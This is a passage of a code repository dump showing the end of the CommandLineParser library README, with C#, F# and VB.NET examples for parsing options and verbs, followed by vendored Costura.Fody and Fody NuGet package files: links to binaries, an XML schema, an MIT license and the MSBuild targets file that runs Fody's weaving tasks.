utilize the parser library in several ways: 44 | 45 | - Install via NuGet/Paket: [https://www.nuget.org/packages/CommandLineParser/](https://www.nuget.org/packages/CommandLineParser/) 46 | - Integrate directly into your project by copying the .cs files into your project. 47 | - ILMerge during your build process. 48 | 49 | ## Quick Start Examples 50 | 51 | 1. Create a class to define valid options, and to receive the parsed options. 52 | 2. Call ParseArguments with the args string array. 53 | 54 | C# Quick Start: 55 | 56 | ```cs 57 | using System; 58 | using CommandLine; 59 | 60 | namespace QuickStart 61 | { 62 | class Program 63 | { 64 | public class Options 65 | { 66 | [Option('v', "verbose", Required = false, HelpText = "Set output to verbose messages.")] 67 | public bool Verbose { get; set; } 68 | } 69 | 70 | static void Main(string[] args) 71 | { 72 | Parser.Default.ParseArguments<Options>(args) 73 | .WithParsed<Options>(o => 74 | { 75 | if (o.Verbose) 76 | { 77 | Console.WriteLine($"Verbose output enabled. Current Arguments: -v {o.Verbose}"); 78 | Console.WriteLine("Quick Start Example! App is in Verbose mode!"); 79 | } 80 | else 81 | { 82 | Console.WriteLine($"Current Arguments: -v {o.Verbose}"); 83 | Console.WriteLine("Quick Start Example!"); 84 | } 85 | }); 86 | } 87 | } 88 | } 89 | ``` 90 | 91 | ## C# Examples: 92 | 93 | <details> 94 | <summary>Click to expand!</summary> 95 | 96 | ```cs 97 | 98 | class Options 99 | { 100 | [Option('r', "read", Required = true, HelpText = "Input files to be processed.")] 101 | public IEnumerable<string> InputFiles { get; set; } 102 | 103 | // Omitting long name, defaults to name of property, ie "--verbose" 104 | [Option( 105 | Default = false, 106 | HelpText = "Prints all messages to standard output.")] 107 | public bool Verbose { get; set; } 108 | 109 | [Option("stdin", 110 | Default = false, 111 | HelpText = "Read from stdin")] 112 | public bool stdin { get; set; } 113 | 114 | [Value(0, MetaName = "offset", HelpText = "File offset.")] 115 | public long? Offset { get; set; } 116 | } 117 | 118 | static void Main(string[] args) 119 | { 120 | CommandLine.Parser.Default.ParseArguments<Options>(args) 121 | .WithParsed(RunOptions) 122 | .WithNotParsed(HandleParseError); 123 | } 124 | static void RunOptions(Options opts) 125 | { 126 | //handle options 127 | } 128 | static void HandleParseError(IEnumerable<Error> errs) 129 | { 130 | //handle errors 131 | } 132 | 133 | ``` 134 | 135 | </details> 136 | 137 | Demo to show IEnumerable options and other usage: [Online Demo](https://dotnetfiddle.net/wrcAxr) 138 | 139 | ## F# Examples: 140 | 141 | <details> 142 | <summary>Click to expand!</summary> 143 | 144 | ```fsharp 145 | 146 | type options = { 147 | [<Option('r', "read", Required = true, HelpText = "Input files.")>] files : seq<string>; 148 | [<Option(HelpText = "Prints all messages to standard output.")>] verbose : bool; 149 | [<Option(Default = "русский", HelpText = "Content language.")>] language : string; 150 | [<Value(0, MetaName="offset", HelpText = "File offset.")>] offset : int64 option; 151 | } 152 | 153 | let main argv = 154 | let result = CommandLine.Parser.Default.ParseArguments<options>(argv) 155 | match result with 156 | | :? Parsed<options> as parsed -> run parsed.Value 157 | | :? NotParsed<options> as notParsed -> fail notParsed.Errors 158 | ``` 159 | </details> 160 | 161 | ## VB.NET Example: 162 | 163 | <details> 164 | <summary>Click to expand!</summary> 165 | 166 | ```vb 167 | 168 | Class Options 169 | <CommandLine.Option('r', "read", Required := true, 170 | HelpText:="Input files to be processed.")> 171 | Public Property InputFiles As IEnumerable(Of String) 172 | 173 | ' Omitting long name, defaults to name of property, ie "--verbose" 174 | <CommandLine.Option( 175 | HelpText:="Prints all messages to standard output.")> 176 | Public Property Verbose As Boolean 177 | 178 | <CommandLine.Option(Default:="中文", 179 | HelpText:="Content language.")> 180 | Public Property Language As String 181 | 182 | <CommandLine.Value(0, MetaName:="offset", 183 | HelpText:="File offset.")> 184 | Public Property Offset As Long? 185 | End Class 186 | 187 | Sub Main(ByVal args As String()) 188 | CommandLine.Parser.Default.ParseArguments(Of Options)(args) _ 189 | .WithParsed(Function(opts As Options) RunOptionsAndReturnExitCode(opts)) _ 190 | .WithNotParsed(Function(errs As IEnumerable(Of [Error])) 1) 191 | End Sub 192 | ``` 193 | </details> 194 | 195 | ## For verbs: 196 | 197 | 1. Create separate option classes for each verb. An options base class is supported. 198 | 2. Call ParseArguments with all the verb attribute decorated options classes. 199 | 3. Use MapResult to direct program flow to the verb that was parsed. 200 | 201 | ### C# example: 202 | 203 | 204 | <details> 205 | <summary>Click to expand!</summary> 206 | 207 | ```csharp 208 | [Verb("add", HelpText = "Add file contents to the index.")] 209 | class AddOptions { 210 | //normal options here 211 | } 212 | [Verb("commit", HelpText = "Record changes to the repository.")] 213 | class CommitOptions { 214 | //commit options here 215 | } 216 | [Verb("clone", HelpText = "Clone a repository into a new directory.")] 217 | class CloneOptions { 218 | //clone options here 219 | } 220 | 221 | int Main(string[] args) { 222 | return CommandLine.Parser.Default.ParseArguments<AddOptions, CommitOptions, CloneOptions>(args) 223 | .MapResult( 224 | (AddOptions opts) => RunAddAndReturnExitCode(opts), 225 | (CommitOptions opts) => RunCommitAndReturnExitCode(opts), 226 | (CloneOptions opts) => RunCloneAndReturnExitCode(opts), 227 | errs => 1); 228 | } 229 | ``` 230 | </details> 231 | 232 | ### VB.NET example: 233 | 234 | 235 | <details> 236 | <summary>Click to expand!</summary> 237 | 238 | ```vb 239 | <CommandLine.Verb("add", HelpText:="Add file contents to the index.")> 240 | Public Class AddOptions 241 | 'Normal options here 242 | End Class 243 | <CommandLine.Verb("commit", HelpText:="Record changes to the repository.")> 244 | Public Class CommitOptions 245 | 'Normal options here 246 | End Class 247 | <CommandLine.Verb("clone", HelpText:="Clone a repository into a new directory.")> 248 | Public Class CloneOptions 249 | 'Normal options here 250 | End Class 251 | 252 | Function Main(ByVal args As String()) As Integer 253 | Return CommandLine.Parser.Default.ParseArguments(Of AddOptions, CommitOptions, CloneOptions)(args) _ 254 | .MapResult( 255 | (Function(opts As AddOptions) RunAddAndReturnExitCode(opts)), 256 | (Function(opts As CommitOptions) RunCommitAndReturnExitCode(opts)), 257 | (Function(opts As CloneOptions) RunCloneAndReturnExitCode(opts)), 258 | (Function(errs As IEnumerable(Of [Error])) 1) 259 | ) 260 | End Function 261 | ``` 262 | </details> 263 | 264 | ### F# Example: 265 | 266 | <details> 267 | <summary>Click to expand!</summary> 268 | 269 | ```fs 270 | open CommandLine 271 | 272 | [<Verb("add", HelpText = "Add file contents to the index.")>] 273 | type AddOptions = { 274 | // normal options here 275 | } 276 | [<Verb("commit", HelpText = "Record changes to the repository.")>] 277 | type CommitOptions = { 278 | // normal options here 279 | } 280 | [<Verb("clone", HelpText = "Clone a repository into a new directory.")>] 281 | type CloneOptions = { 282 | // normal options here 283 | } 284 | 285 | [<EntryPoint>] 286 | let main args = 287 | let result = Parser.Default.ParseArguments<AddOptions, CommitOptions, CloneOptions> args 288 | match result with 289 | | :? CommandLine.Parsed<obj> as command -> 290 | match command.Value with 291 | | :? AddOptions as opts -> RunAddAndReturnExitCode opts 292 | | :? CommitOptions as opts -> RunCommitAndReturnExitCode opts 293 | | :? CloneOptions as opts -> RunCloneAndReturnExitCode opts 294 | | :? CommandLine.NotParsed<obj> -> 1 295 | ``` 296 | </details> 297 | 298 | # Release History 299 | 300 | See the [changelog](CHANGELOG.md) 301 | 302 | # Contributors 303 | First off, _Thank you!_ All contributions are welcome. 304 | 305 | Please consider sticking with the GNU getopt standard for command line parsing. 306 | 307 | Additionally, for easiest diff compares, please follow the project's tabs settings. Utilizing the EditorConfig extension for Visual Studio/your favorite IDE is recommended. 308 | 309 | __And most importantly, please target the ```develop``` branch in your pull requests!__ 310 | 311 | ## Main Contributors (alphabetical order): 312 | - Alexander Fast (@mizipzor) 313 | - Dan Nemec (@nemec) 314 | - Eric Newton (@ericnewton76) 315 | - Kevin Moore (@gimmemoore) 316 | - Steven Evans 317 | - Thomas Démoulins (@Thilas) 318 | 319 | ## Resources for newcomers: 320 | 321 | - [Wiki](https://github.com/commandlineparser/commandline/wiki) 322 | - [GNU getopt](http://www.gnu.org/software/libc/manual/html_node/Getopt.html) 323 | 324 | # Contacts: 325 | 326 | - Giacomo Stelluti Scala 327 | - gsscoder AT gmail DOT com (_use this for everything that is not available via GitHub features_) 328 | - GitHub: [gsscoder](https://github.com/gsscoder) 329 | - [Blog](http://gsscoder.blogspot.it) 330 | - [Twitter](http://twitter.com/gsscoder) 331 | - Dan Nemec 332 | - Eric Newton 333 | - ericnewton76+commandlineparser AT gmail DOT com 334 | - GitHub: [ericnewton76](https://github.com/ericnewton76) 335 | - Blog: 336 | - Twitter: [enorl76](http://twitter.com/enorl76) 337 | -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/lib/net40/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/lib/net40/CommandLine.dll -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/lib/net45/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/lib/net45/CommandLine.dll -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/lib/net461/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/lib/net461/CommandLine.dll -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/lib/netstandard2.0/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/lib/netstandard2.0/CommandLine.dll -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Costura.Fody.4.1.0/.signature.p7s -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/build/Costura.Fody.props: -------------------------------------------------------------------------------- 1 | <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 2 | <ItemGroup> 3 | <WeaverFiles Include="$(MsBuildThisFileDirectory)..\weaver\$(MSBuildThisFileName).dll" /> 4 | </ItemGroup> 5 | </Project> -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0"?> 2 | <doc> 3 | <assembly> 4 | <name>Costura</name> 5 | </assembly> 6 | <members> 7 | <member name="T:CosturaUtility"> 8 | <summary> 9 | Contains methods for interacting with the Costura system. 10 | </summary> 11 | </member> 12 | <member name="M:CosturaUtility.Initialize"> 13 | <summary> 14 | Call this to Initialize the Costura system. 15 | </summary> 16 | </member> 17 | </members> 18 | </doc> 19 | -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll -------------------------------------------------------------------------------- /CS/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8" ?> 2 | <xs:complexType xmlns:xs="http://www.w3.org/2001/XMLSchema"> 3 | <xs:all> 4 | <xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string"> 5 | <xs:annotation> 6 | <xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation> 7 | </xs:annotation> 8 | </xs:element> 9 | <xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string"> 10 | <xs:annotation> 11 | <xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation> 12 | </xs:annotation> 13 | </xs:element> 14 | <xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string"> 15 | <xs:annotation> 16 | <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation> 17 | </xs:annotation> 18 | </xs:element> 19 | <xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string"> 20 | <xs:annotation> 21 | <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation> 22 | </xs:annotation> 23 | </xs:element> 24 | <xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string"> 25 | <xs:annotation> 26 | <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation> 27 | </xs:annotation> 28 | </xs:element> 29 | </xs:all> 30 | <xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean"> 31 | <xs:annotation> 32 | <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation> 33 | </xs:annotation> 34 | </xs:attribute> 35 | <xs:attribute name="IncludeDebugSymbols" type="xs:boolean"> 36 | <xs:annotation> 37 | <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation> 38 | </xs:annotation> 39 | </xs:attribute> 40 | <xs:attribute name="DisableCompression" type="xs:boolean"> 41 | <xs:annotation> 42 | <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation> 43 | </xs:annotation> 44 | </xs:attribute> 45 | <xs:attribute name="DisableCleanup" type="xs:boolean"> 46 | <xs:annotation> 47 | <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation> 48 | </xs:annotation> 49 | </xs:attribute> 50 | <xs:attribute name="LoadAtModuleInit" type="xs:boolean"> 51 | <xs:annotation> 52 | <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation> 53 | </xs:annotation> 54 | </xs:attribute> 55 | <xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean"> 56 | <xs:annotation> 57 | <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation> 58 | </xs:annotation> 59 | </xs:attribute> 60 | <xs:attribute name="ExcludeAssemblies" type="xs:string"> 61 | <xs:annotation> 62 | <xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation> 63 | </xs:annotation> 64 | </xs:attribute> 65 | <xs:attribute name="IncludeAssemblies" type="xs:string"> 66 | <xs:annotation> 67 | <xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation> 68 | </xs:annotation> 69 | </xs:attribute> 70 | <xs:attribute name="Unmanaged32Assemblies" type="xs:string"> 71 | <xs:annotation> 72 | <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation> 73 | </xs:annotation> 74 | </xs:attribute> 75 | <xs:attribute name="Unmanaged64Assemblies" type="xs:string"> 76 | <xs:annotation> 77 | <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation> 78 | </xs:annotation> 79 | </xs:attribute> 80 | <xs:attribute name="PreloadOrder" type="xs:string"> 81 | <xs:annotation> 82 | <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation> 83 | </xs:annotation> 84 | </xs:attribute> 85 | </xs:complexType> -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/.signature.p7s -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/Fody.6.1.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/Fody.6.1.1.nupkg -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/License.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) Simon Cropp 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/build/Fody.targets: -------------------------------------------------------------------------------- 1 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 2 | 3 | <PropertyGroup> 4 | <ProjectWeaverXml Condition="$(ProjectWeaverXml) == ''">$(ProjectDir)FodyWeavers.xml</ProjectWeaverXml> 5 | <FodyPath Condition="$(FodyPath) == ''">$(MSBuildThisFileDirectory)..\</FodyPath> 6 | <FodyAssemblyDirectory Condition="$(MSBuildRuntimeType) == 'Core'">$(FodyPath)netstandardtask</FodyAssemblyDirectory> 7 | <FodyAssemblyDirectory Condition="$(MSBuildRuntimeType) != 'Core'">$(FodyPath)netclassictask</FodyAssemblyDirectory> 8 | <FodyAssembly Condition="$(FodyAssembly) == ''">$(FodyAssemblyDirectory)\Fody.dll</FodyAssembly> 9 | <DefaultItemExcludes>$(DefaultItemExcludes);FodyWeavers.xsd</DefaultItemExcludes> 10 | <FodyGenerateXsd Condition="$(FodyGenerateXsd) == ''">true</FodyGenerateXsd> 11 | <MsBuildMajorVersion>15</MsBuildMajorVersion> 12 | <MsBuildMajorVersion Condition="'$(MSBuildVersion)' != ''">$([System.Version]::Parse($(MSBuildVersion)).Major)</MsBuildMajorVersion> 13 | </PropertyGroup> 14 | 15 | <ItemGroup Condition="Exists($(ProjectWeaverXml))"> 16 | <UpToDateCheckInput Include="$(ProjectWeaverXml)" /> 17 | <CustomAdditionalCompileInputs Include="$(ProjectWeaverXml)" /> 18 | </ItemGroup> 19 | 20 | <!-- Support for NCrunch --> 21 | <ItemGroup Condition="'$(NCrunch)' == '1' and '$(TargetFramework)' == '' and '$(TargetFrameworks)' == ''"> 22 | <None Include="$(FodyAssemblyDirectory)\*.*" /> 23 | <None Include="@(WeaverFiles)" /> 24 | </ItemGroup> 25 | 26 | <UsingTask TaskName="Fody.WeavingTask" AssemblyFile="$(FodyAssembly)" /> 27 | <UsingTask TaskName="Fody.UpdateReferenceCopyLocalTask" AssemblyFile="$(FodyAssembly)" /> 28 | <UsingTask TaskName="Fody.VerifyTask" AssemblyFile="$(FodyAssembly)" /> 29 | 30 | <Target 31 | Name="FodyTarget" 32 | AfterTargets="AfterCompile" 33 | Condition="Exists(@(IntermediateAssembly)) And $(DesignTimeBuild) != true And $(DisableFody) != true" 34 | DependsOnTargets="$(FodyDependsOnTargets)" 35 | Inputs="@(IntermediateAssembly);$(ProjectWeaverXml)" 36 | Outputs="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache"> 37 | 38 | <Error Condition="($(MsBuildMajorVersion) < 16)" 39 | Text="Fody is only supported on MSBuild 16 and above. Current version: $(MsBuildMajorVersion)." /> 40 | <Fody.WeavingTask 41 | AssemblyFile="@(IntermediateAssembly)" 42 | IntermediateDirectory="$(ProjectDir)$(IntermediateOutputPath)" 43 | KeyOriginatorFile="$(KeyOriginatorFile)" 44 | AssemblyOriginatorKeyFile="$(AssemblyOriginatorKeyFile)" 45 | ProjectDirectory="$(MSBuildProjectDirectory)" 46 | ProjectFile="$(MSBuildProjectFullPath)" 47 | SolutionDirectory="$(SolutionDir)" 48 | References="@(ReferencePath)" 49 | SignAssembly="$(SignAssembly)" 50 | ReferenceCopyLocalFiles="@(ReferenceCopyLocalPaths)" 51 | DefineConstants="$(DefineConstants)" 52 | DocumentationFile="@(DocFileItem->'%(FullPath)')" 53 | WeaverFiles="@(WeaverFiles)" 54 | NCrunchOriginalSolutionDirectory="$(NCrunchOriginalSolutionDir)" 55 | IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache" 56 | GenerateXsd="$(FodyGenerateXsd)" 57 | > 58 | 59 | <Output 60 | TaskParameter="ExecutedWeavers" 61 | PropertyName="FodyExecutedWeavers" /> 62 | 63 | </Fody.WeavingTask> 64 | 65 | <ItemGroup> 66 | <FileWrites Include="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache" /> 67 | </ItemGroup> 68 | 69 | </Target> 70 | 71 | <Target 72 | Name="FodyUpdateCopyLocalFilesTarget" 73 | AfterTargets="FodyTarget" 74 | > 75 | 76 | <Fody.UpdateReferenceCopyLocalTask 77 | ReferenceCopyLocalFiles="@(ReferenceCopyLocalPaths)" 78 | IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache" 79 | > 80 | 81 | <Output 82 | TaskParameter="UpdatedReferenceCopyLocalFiles" 83 | ItemName="FodyUpdatedReferenceCopyLocalPaths" /> 84 | 85 | </Fody.UpdateReferenceCopyLocalTask> 86 | 87 | <ItemGroup> 88 | <ReferenceCopyLocalPaths Remove="@(ReferenceCopyLocalPaths)" /> 89 | <ReferenceCopyLocalPaths Include="@(FodyUpdatedReferenceCopyLocalPaths)" /> 90 | </ItemGroup> 91 | 92 | </Target> 93 | 94 | <Target 95 | Name="FodyVerifyTarget" 96 | AfterTargets="AfterBuild" 97 | Condition="'$(NCrunch)' != '1' And $(FodyExecutedWeavers) != '' And $(DisableFody) != true" 98 | DependsOnTargets="$(FodyVerifyDependsOnTargets)"> 99 | 100 | <Fody.VerifyTask 101 | ProjectDirectory="$(MSBuildProjectDirectory)" 102 | TargetPath="$(TargetPath)" 103 | SolutionDirectory="$(SolutionDir)" 104 | DefineConstants="$(DefineConstants)" 105 | NCrunchOriginalSolutionDirectory="$(NCrunchOriginalSolutionDir)" 106 | /> 107 | </Target> 108 | 109 | </Project> -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Fody.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/FodyCommon.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/FodyHelpers.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/FodyIsolated.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netclassictask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Fody.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/FodyCommon.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/FodyHelpers.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/FodyIsolated.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.dll -------------------------------------------------------------------------------- 